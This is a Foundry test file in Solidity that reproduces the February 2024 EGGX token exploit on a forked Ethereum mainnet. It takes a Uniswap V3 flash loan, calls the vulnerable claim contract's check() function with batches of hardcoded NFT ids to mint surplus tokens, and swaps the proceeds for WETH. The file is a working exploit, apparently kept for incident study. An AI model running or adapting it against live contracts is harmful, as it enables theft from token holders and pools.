src/test/2024-02/EGGX_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4// @KeyInfo - Total Lost : ~2 $ETH
5 
6// Vulnerable Contract : https://etherscan.io/address/0xFb35DE57B117FA770761C1A344784075745F84F9
7 
8// @Analysis
9// https://x.com/PeiQi_0/status/1759826303044497726
10 
11import "forge-std/Test.sol";
12import "./../interface.sol";
13 
14interface IEGGXUNIV3POOL {
15    function swap(
16        address recipient,
17        bool zeroForOne,
18        int256 amountSpecified,
19        uint160 sqrtPriceLimitX96,
20        bytes calldata data
21    ) external;
22    function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
23}
24 
25interface IEGGX is IERC20 {
26    function transfer(address to, uint256 value) external returns (bool);
27    function balanceOf(
28        address account
29    ) external view returns (uint256);
30    function minted() external view returns (uint256);
31    function tokenURI(
32        uint256 id
33    ) external view returns (string memory);
34}
35 
36interface IEGGXClaim {
37    function check(
38        uint256[] memory
39    ) external;
40}
41 
42interface IWeth is IERC20 {
43    function deposit() external payable;
44}
45 
46contract ContractTest is Test {
47    IEGGXUNIV3POOL pool = IEGGXUNIV3POOL(0x26beBB6995a4736F088D129E82620eBA899B944F);
48    IEGGX EGGX = IEGGX(0xe2f95ee8B72fFed59bC4D2F35b1d19b909A6e6b3);
49    IEGGXClaim EGGXCliam = IEGGXClaim(0xFb35DE57B117FA770761C1A344784075745F84F9);
50    IWeth WETH = IWeth(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
51    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
52 
53    function setUp() public {
54        // evm_version Requires to be "shanghai"
55        cheats.createSelectFork("mainnet", 19_252_567 - 1);
56        cheats.label(address(EGGX), "EGGX");
57        cheats.label(address(pool), "EGGX_Pool");
58        cheats.label(address(WETH), "WETH");
59    }
60 
61    function testExploit() public {
62        payable(address(0)).transfer(address(this).balance);
63        bytes memory pollbalance = abi.encode(EGGX.balanceOf(address(pool)));
64        WETH.approve(address(pool), type(uint256).max);
65        EGGX.approve(address(pool), type(uint256).max);
66        emit log_named_uint("Attacker ETH balance before exploit", WETH.balanceOf(address(this)));
67        bool zeroForOne = false;
68        uint160 sqrtPriceLimitX96 = 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_341;
69        bytes memory data = abi.encodePacked(uint8(0x61));
70        pool.flash(address(this), 0, EGGX.balanceOf(address(pool)), pollbalance);
71        int256 amountSpecified = int256(EGGX.balanceOf(address(this)));
72        pool.swap(address(this), zeroForOne, amountSpecified, sqrtPriceLimitX96, data);
73        emit log_named_uint("Attacker ETH balance after attack:", WETH.balanceOf(address(this)));
74    }
75 
76    function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
77        uint256 pollbalance = abi.decode(data, (uint256));
78        uint256[] memory nftid = new uint256[](6);
79 
80        nftid[0] = 30_342;
81        nftid[1] = 30_319;
82        nftid[2] = 30_031;
83        nftid[3] = 30_036;
84        nftid[4] = 30_028;
85        nftid[5] = 30_019;
86        EGGXCliam.check(nftid);
87 
88        nftid[0] = 30_379;
89        nftid[1] = 30_363;
90        nftid[2] = 30_169;
91        nftid[3] = 30_267;
92        nftid[4] = 30_098;
93        nftid[5] = 30_484;
94        EGGXCliam.check(nftid);
95 
96        nftid[0] = 30_281;
97        nftid[1] = 30_217;
98        nftid[2] = 30_245;
99        nftid[3] = 30_192;
100        nftid[4] = 30_027;
101        nftid[5] = 30_181;
102        EGGXCliam.check(nftid);
103 
104        nftid[0] = 30_368;
105        nftid[1] = 30_488;
106        nftid[2] = 30_259;
107        nftid[3] = 30_284;
108        nftid[4] = 30_084;
109        nftid[5] = 30_395;
110        EGGXCliam.check(nftid);
111 
112        nftid[0] = 30_408;
113        nftid[1] = 30_111;
114        nftid[2] = 30_365;
115        nftid[3] = 30_144;
116        nftid[4] = 30_176;
117        nftid[5] = 30_054;
118        EGGXCliam.check(nftid);
119 
120        nftid[0] = 30_039;
121        nftid[1] = 30_045;
122        nftid[2] = 30_030;
123        nftid[3] = 30_070;
124        nftid[4] = 30_055;
125        nftid[5] = 30_213;
126        EGGXCliam.check(nftid);
127 
128        emit log_named_uint("Attacker EGGX exploit balance:", EGGX.balanceOf(address(this)));
129        EGGX.transfer(address(pool), pollbalance + fee1);
130    }
131 
132    function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
133        if (amount0Delta > 0) {
134            IERC20(Uni_Pair_V3(msg.sender).token0()).transfer(msg.sender, uint256(amount0Delta));
135        } else if (amount1Delta > 0) {
136            IERC20(Uni_Pair_V3(msg.sender).token1()).transfer(msg.sender, uint256(amount1Delta));
137        }
138    }
139 
140    receive() external payable {}
141}